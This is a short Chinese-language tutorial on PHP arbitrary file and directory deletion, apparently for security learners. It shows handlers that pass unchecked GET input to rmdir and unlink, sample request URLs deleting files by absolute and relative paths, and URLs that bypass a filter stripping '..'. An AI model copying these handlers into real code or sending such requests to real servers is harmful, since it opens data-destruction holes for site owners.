1、rmdir函数
rmdir函数删除**空的目录**,用法如下:
rmdir(dir,context)
dir:必需,删除的目录路径
context:可选,规定文件句柄的环境。context 是一套可以修改流的行为的选项
<?php
$path = $_GET['path'];
rmdir($path)
?>
-------------------------------
# 可以是绝对路径,也可以是相对路径(前提空的目录,不能有其他文件夹或者文件)
/test.php?path=E:\PhpStudy\PHPTutorial\sss
/test.php?path=../sss
2、unlink函数
unlink函数删除文件,用法如下:
unlink(filename,context)
filename**:必需,删除的文件路径
context:**可选,规定文件句柄的环境。context 是一套可以修改流的行为的选项
<?php
$path = $_GET['path'];
unlink($path)
?>
-------------------------------
# 可以是绝对路径,也可以是相对路径
/test.php?path=E:\PhpStudy\PHPTutorial\1.txt
/test.php?path=../1.txt
案例一:
<?php
$url = $_GET['url'];
$fileurl = str_replace("..","",$url);
unlink($fileurl);
---------绕过------------
# 注不能通过../方式,返回上级目录
http://127.0.0.1/test.php?url=project/1.txt
http://127.0.0.1/test.php?url=./1.txt
http://127.0.0.1/test.php?url=E:\PhpStudy\WWW\1.txt